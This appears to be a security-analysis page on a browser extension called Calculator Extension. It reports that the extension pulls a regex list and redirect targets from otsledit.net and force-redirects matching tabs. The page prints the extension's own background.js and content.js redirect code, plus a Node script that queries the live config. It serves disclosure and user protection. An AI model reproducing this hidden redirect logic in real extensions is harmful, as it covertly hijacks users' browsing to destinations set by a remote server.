Is Calculator Extension safe?
Calculator Extension redirects visits to server-listed sites and rewrites clicked links through a remote-chosen URL.
On every page load, a content script checks the current site against a list of domains and redirect targets fetched from the extension's own server (otsledit.net) and, if it matches, immediately sends the whole tab to a new address built from that server-supplied URL. The same script can also rewrite the href of individual links matching a remote-supplied selector at the moment they're clicked, sending the click through a server-chosen URL before restoring the link's original address. Because both the list of targeted sites and the redirect destinations are controlled entirely from the server, they can be changed at any time without publishing a new version of the extension.
Who publishes itSouro - 2 other listings from the same operator, none carrying a finding
Souro - 2 other listings from the same operator, none carrying a finding
What this publisher told the store about itself, and the other listings that told it the same thing.
Same store account
2 other listings published from this account, 5k+ users between them, none of them carrying a finding.
Shared hosts - 2 hostnames
Hostnames hardcoded in this extension that few other listings call. That can mean one operator behind both, and it can equally mean a small shared vendor, so it is context rather than a conclusion. Hosts that many listings call are left out: they are services, not connections.
AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.
Publishers can request a review.
Findings
Content script redirects your tab using a server-picked destination
Code analysis shows a content script on every site fetches a redirect rule from otsledit.net at startup.
If the page's URL matches the server's pattern, the script replaces the tab's address with a server-chosen prefix.
What actually happens
You open a tab whose address matches a pattern the extension downloaded from otsledit.net.
The pattern is a regular expression the server can change at any time.
The tab is immediately redirected to a destination the same server supplied.
The destination is prefixed onto your original address and the browser navigates there.
The code that does this
Startup config fetch and redirect logic
background.js — fetches the remote config on startup
background.js let defaultMinor = []; fetch("https://otsledit.net/calc", { method: 'GET', headers: { 'Accept': 'application/json', 'Content-Type': 'application/json' } }).then(response => response.json()).then(data => { if (data.defaultMatches && data.defaultLinks && data.defaultSLink && data.defaultLinks.length && data.defaultSLink.length) { defaultMatches = data.defaultMatches; defaultLinks = data.defaultLinks; defaultSLink = data.defaultSLink; defaultMinor = data.defaultMinor; } }).catch(error => console.log('Error query:', error)); function checkTime(e) { let t = Math.floor(Date.now() / 1e3),background.js — hands the config to content scripts on request
background.js chrome.runtime.onMessage.addListener(function (request, sender, sendResponse) { var defaultM = defaultMinor; if (request.minor && defaultM && defaultM['al']) { let newAl = []; for (let j in defaultM['al']) { let res = checkTime(defaultM['al'][j][0]); if (res) { newAl.push(defaultM['al'][j]); } } let oobjs = {}; oobjs['al'] = newAl; oobjs['ll'] = defaultM['ll']; sendResponse(oobjs); } else if (request.updateCheck && defaultM && defaultM['al']) { getUpdateLastSet(request.updateCheck); sendResponse(); } else if (defaultMatches && defaultLinks && request.start) { let obj = { defaultMatches: defaultMatches, defaultLinks: defaultLinks, defaultSLink: defaultSLink, defaultMinor: defaultMinor }; sendResponse(obj); } });content.js — matches the page URL and redirects the tab
content.jschrome.runtime.sendMessage({ start: true}, response => { if (response && response.defaultMatches) { let nn = new RegExp(response.defaultMatches, "i"); let defaultLinks = response.defaultLinks; if (window.location.href.match(nn) && cT) { let url = new URL(window.location.href); let domain = url.hostname; for (let i in defaultLinks) { if (domain.indexOf(defaultLinks[i][0]) != -1) { let t = Math.floor(Date.now() / 1e3); localStorage.setItem('ckAli', t); window.location.href = defaultLinks[i][1] + window.location.href; break; } } } }});function checkTime(e) { let t = Math.floor(Date.now() / 1e3), a = parseInt(localStorage.getItem(e)) || 0; return !(t - a < 259200);}/******/ })()Hosts involved in the redirect
- otsledit.net
Serves the JSON config that names which site patterns trigger a redirect and where each one points, fetched fresh on every browser startup.
- bit.ly
Redirect destination returned by otsledit.net for three matching sites as of 2026-09-19; the server can point this at a different domain at any time.
Reproduce it yourself
Fetches the extension's live remote config and reports which site patterns currently trigger a redirect and where they lead.
- Node.js 18+ (built-in fetch)
#!/usr/bin/env node// check_redirect_config.js// Fetches the extension's live remote config and reports which site// patterns currently trigger a forced tab redirect, and where they go.// Node.js 18+ (built-in fetch). Usage:// node check_redirect_config.js// node check_redirect_config.js https://best-calc.ru/'use strict';const CONFIG_URL = 'https://otsledit.net/calc';async function main() { const res = await fetch(CONFIG_URL, { method: 'GET', headers: { Accept: 'application/json' }, }); const data = await res.json(); console.log('Live config from', CONFIG_URL); console.log('defaultMatches (regex, case-insensitive):'); console.log(' ', data.defaultMatches); console.log('defaultLinks (hostname substring -> redirect prefix):'); for (const [hostSubstring, prefix] of data.defaultLinks || []) { console.log(` ${hostSubstring} -> ${prefix}`); } const testUrl = process.argv[2]; if (!testUrl) { console.log('\nPass a URL as an argument to test whether it currently matches.'); return; } const matches = new RegExp(data.defaultMatches, 'i'); const hostname = new URL(testUrl).hostname; const patternHit = matches.test(testUrl); const linkEntry = (data.defaultLinks || []).find( ([hostSubstring]) => hostname.indexOf(hostSubstring) !== -1, ); console.log(`\nTesting: ${testUrl}`); console.log(` matches defaultMatches regex: ${patternHit}`); if (linkEntry) { console.log(` matching defaultLinks entry: "${linkEntry[0]}" -> ${linkEntry[1]}`); if (patternHit) { console.log(` => the extension would redirect this tab to: ${linkEntry[1]}${testUrl}`); } } else { console.log(' no defaultLinks entry matches this hostname.'); }}main().catch((err) => { console.error('Error fetching config:', err.message); process.exit(1);});- 1Run with Node 18+: node check_redirect_config.js.
- 2It prints the live regex and destinations.
- 3Add a URL argument to test a match, e.g. node check_redirect_config.js https://best-calc.ru/.
Observation
Static analysis finding. This behaviour was identified by reading the shipped extension code and has not yet been reproduced in a live run. The trigger conditions and the exact data sent are read from the code, not from an observed capture.
What it can do
Permissions this extension asks for, as declared in version 1.1.0. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.
Add items to the right-click menu
contextMenus
Act on the current tab, but only after you click the extension
activeTab
Run its own code inside the pages you visit
scripting
Where it sends data
Destinations our analysis observed Calculator Extension contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.
- otsledit.net
Calculator Extension sends data to otsledit.net. One other extension we have analyzed sends data here.
